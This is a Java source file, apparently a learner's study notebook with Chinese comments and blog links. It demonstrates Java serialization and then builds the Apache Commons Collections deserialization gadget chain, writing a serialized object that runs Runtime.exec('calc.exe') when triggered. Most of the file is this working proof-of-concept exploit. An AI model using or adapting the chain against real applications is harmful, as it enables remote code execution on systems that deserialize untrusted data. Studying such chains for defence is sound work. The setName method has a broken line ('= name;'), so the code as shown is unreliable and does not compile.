/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package helloworld;
import java.io.*;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
/**
*
* @author gaolongyun
*/
public class Helloworld {
public static void main( String[] args ) throws ClassNotFoundException, IOException
{
System.out.println( "Hello World!" );
run();//序列化
//test();
run2();//反序列化
test();
}
// 序列化
public static void run() throws ClassNotFoundException, IOException
{
FileOutputStream fis = new FileOutputStream("D:/bin.bin");
ObjectOutputStream ois = new ObjectOutputStream(fis);
Student a = new Student();
a.setName("AAAA");
ois.writeObject(a);;
}
//反序列化
public static void run2() throws ClassNotFoundException, IOException
{
FileInputStream fis = new FileInputStream("D:/bin.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
Student b = (Student)(ois.readObject());
System.out.println(b.getName());
}
// commoncollections poc
public static void test()
{
// //第一个参数getMethod是方法名,第二个参数是参数类型,第三个参数是参数值
//InvokerTransformer:Java的反射机制来调用任意函数
// InvokerTransformer tran = new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class},new Object[] {"getRuntime",null});
// //System.out.println(tran.transform(Runtime.class).toString()); //获取类的属性
// //transform方法反射机制
// Method method = (Method) tran.transform(Runtime.class);
//
// //invoke方法
// InvokerTransformer tran2 = new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null});
// //获取Runtime类的属性
// Runtime run = (Runtime) tran2.transform(method);
// InvokerTransformer tran3 = new InvokerTransformer("exec", new Class[] {
// String.class},new Object[] {
// "calc.exe"});
//
// tran3.transform(run);
// //Runtime run =
ChainedTransformer chain = null;
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Transformer[] ttt = new Transformer[]
{
//new ConstantTransformer(Runtime.class);
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class},new Object[] {"getRuntime",null}),
new InvokerTransformer("invoke",new Class[] {
Object.class,Object[].class},new Object[] {
null,null}),
new InvokerTransformer("exec", new Class[] {
String.class},new Object[] {
"calc.exe"}),
// new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class},new Object[] {"getRuntime",null});
};
ChainedTransformer transformedChain = new ChainedTransformer(ttt);
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
ObjectOutputStream ois;
try {
FileOutputStream fis = new FileOutputStream("D:/bin.bin");
ois = new ObjectOutputStream(fis);
ois.writeObject(outerMap);;
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}
// 序列化的对象
class Student implements Serializable {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
= name;
}
private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException
{
in.defaultReadObject();
//Runtime.getRuntime().exec("calc.exe");
System.out.println("触发反序列化函数-ReadObject()");//反序列化
}
}
referer: https://www.yuque.com/melodyzx/fs56rc/tbwa1z http://www.bubuko.com/infodetail-2498979.html https://xz.aliyun.com/t/2479 https://paper.seebug.org/584/ http://blog.51cto.com/13770310/2159962 http://blog.51cto.com/13770310/2159203
















